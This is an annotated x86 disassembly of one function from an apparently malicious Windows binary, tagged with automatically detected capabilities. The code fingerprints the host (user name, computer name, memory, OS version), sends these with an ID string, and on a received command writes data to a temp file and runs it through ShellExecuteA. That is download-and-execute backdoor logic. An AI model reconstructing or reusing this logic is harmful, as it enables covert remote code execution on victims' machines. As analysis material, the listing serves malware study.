Function at 0x4027e0
Capabilities:
Create process on windows
Get common file path
Get hostname
Get memory capacity
Get session user name

Disassembly:
sub esp, 0x460
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x45c], eax
push ebx
mov ebx, dword [esp + 0x468]
push esi
push 0x151
lea eax, [esp + 0x10]
push 0
push eax
call fcn.00404c50
push 0x104
lea ecx, [esp + 0x170]
push 0
push ecx
call fcn.00404c50
lea edx, [esp + 0x121]
push edx
lea eax, [esp + 0x17c]
push eax
mov byte [esp + 0x14b], 1
mov byte [esp + 0x14c], 8
call fcn.00402420
add esp, 0x20
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0xa4], 0xde16a52c
mov dword [esp + 0x108], 0xc9f5e76a
mov dword [esp + 0x10], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [esp + 0xa4]
push edx
mov dword [esp + 0xa8], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0xc8]
mov esi, 0x1f
push ecx
mov dword [esp + 0x10], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 8]
push edx
lea eax, [esp + 0xe8]
push eax
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
push str.231030104701975305118276
lea ecx, [esp + 0x135]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
call fcn.00402740
push 0x151
lea edx, [esp + 0x10]
push edx
push 0x83
push ebx
mov byte [esp + 0x118], al
call fcn.00403f30
test eax, eax
je 0x402cbe
push 1
push ebx
call fcn.00403d80
mov esi, eax
test esi, esi
je 0x402cbe
mov al, byte [esi + 6]
push ebp
push edi
cmp al, 0x88
jne 0x402a90
cmp dword [esi], 0x64
jbe 0x402a90
cmp byte [0x40e348], 0xbb
jne 0x402945
push 0x86
push 0x40e348
push 0x40e348
call fcn.00403350
add esp, 0xc
cmp byte [0x40e2e8], 0xbb
jne 0x402962
push 0x60
push 0x40e2e8
push 0x40e2e8
call fcn.00403350
add esp, 0xc
cmp byte [esp + 0x168], 0
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
je 0x4029e3
mov eax, dword [esi]
push eax
lea ecx, [esi + 7]
push ecx
lea edx, [esp + 0x170]
push edx
call fcn.00403280
add esp, 0xc
test eax, eax
lea eax, [esp + 0x168]
push eax
je 0x4029ca
mov ecx, dword [esi]
push ecx
push 0x40e348
push 0x83
push ebx
call fcn.00404c00
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea edx, [esp + 0x168]
push edx
push 0
push ebx
call fcn.00402550
add esp, 0xc
jmp 0x402cbc
call ebp
mov ecx, dword [esi]
push eax
push ecx
push 0x40e2e8
push 0x83
push ebx
call fcn.00404c00
add esp, 0x18
mov edi, 1
jmp 0x4029f0
lea edx, [esp + 0x168]
push edx
push edi
call fcn.004021f0
add esp, 8
test eax, eax
je 0x402a20
mov eax, dword [esi]
push eax
lea ecx, [esi + 7]
push ecx
lea edx, [esp + 0x170]
push edx
call fcn.00403280
add esp, 0xc
test eax, eax
jne 0x402a28
inc edi
cmp edi, 4
jl 0x4029f0
jmp 0x402a6a
mov ecx, dword [esi]
lea eax, [esp + 0x168]
push eax
push ecx
push 0x40e348
push 0x83
push ebx
call fcn.00404c00
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea edx, [esp + 0x168]
push edx
xor esi, esi
push esi
push ebx
call fcn.00402550
add esp, 0xc
cmp edi, 4
jl 0x402cbc
lea eax, [esp + 0x168]
push eax
call ebp
mov ecx, dword [esi]
push eax
push ecx
push 0x40e2e8
push 0x83
push ebx
call fcn.00404c00
add esp, 0x18
jmp 0x402cb5
cmp al, 0x89
jne 0x402ca3
cmp dword [esi], 0x64
jbe 0x402ca3
lea edx, [esp + 0x168]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x168]
push eax
call ebp
mov edi, eax
cmp byte [esp + edi + 0x167], 0x5c
je 0x402ad9
mov byte [esp + edi + 0x168], 0x5c
inc edi
push 0x40b2dc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov ecx, 0x14
div ecx
add edx, 0x61
push edx
lea edx, [esp + edi + 0x174]
push str._c_x._s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esi]
push eax
lea ecx, [esi + 7]
push ecx
lea edx, [esp + 0x184]
push edx
call fcn.00403280
add esp, 0x20
test eax, eax
je 0x402c59
push 0x40b2d0
lea eax, [esp + 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.231030104701975305118276
lea ecx, [esp + 0x270]
push ecx
call edi
push 0x40b26c
lea edx, [esp + 0x270]
push edx
call edi
mov eax, dword [0x40e3d4]
push eax
lea ecx, [esp + 0x270]
push ecx
call edi
push 0x40b26c
lea edx, [esp + 0x270]
push edx
call edi
push 0x40b2cc
lea eax, [esp + 0x270]
push eax
call edi
lea ecx, [esp + 0x26c]
push ecx
call ebp
mov ebp, 0x200
sub ebp, eax
push ebp
lea edi, [esp + eax + 0x270]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebp
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x40b26c
push edi
call fcn.004030d0
add esp, 8
test eax, eax
je 0x402bd5
push ebp
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 5
push 0
lea edx, [esp + 0x274]
push edx
lea eax, [esp + 0x174]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 4
lea ecx, [esp + 0x16c]
push 0
push ecx
call fcn.004035e0
add esp, 0xc
cmp byte [0x40e248], 0xba
jne 0x402c2a
push 0xa0
push 0x40e248
push 0x40e248
call fcn.00403350
add esp, 0xc
mov eax, dword [esi]
lea edx, [esp + 0x168]
push edx
push eax
push 0x40e248
push 0x83
push ebx
call fcn.00404c00
add esp, 0x14
call fcn.00402510
mov dword [0x40f070], 1
jmp 0x402cb5
cmp byte [0x40e1a8], 0xba
jne 0x402c79
push 0x9c
push 0x40e1a8
push 0x40e1a8
call fcn.00403350
add esp, 0xc
mov edx, dword [esi]
lea ecx, [esp + 0x168]
push ecx
push edx
push 0x40e1a8
push 0x83
push ebx
call fcn.00404c00
add esp, 0x14
mov dword [0x40f070], 1
jmp 0x402cb5
lea eax, [esp + 0x168]
push eax
push esi
push ebx
call fcn.00402550
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop ebp
mov ecx, dword [esp + 0x464]
pop esi
pop ebx
xor ecx, esp
call fcn.00404c23
add esp, 0x460
ret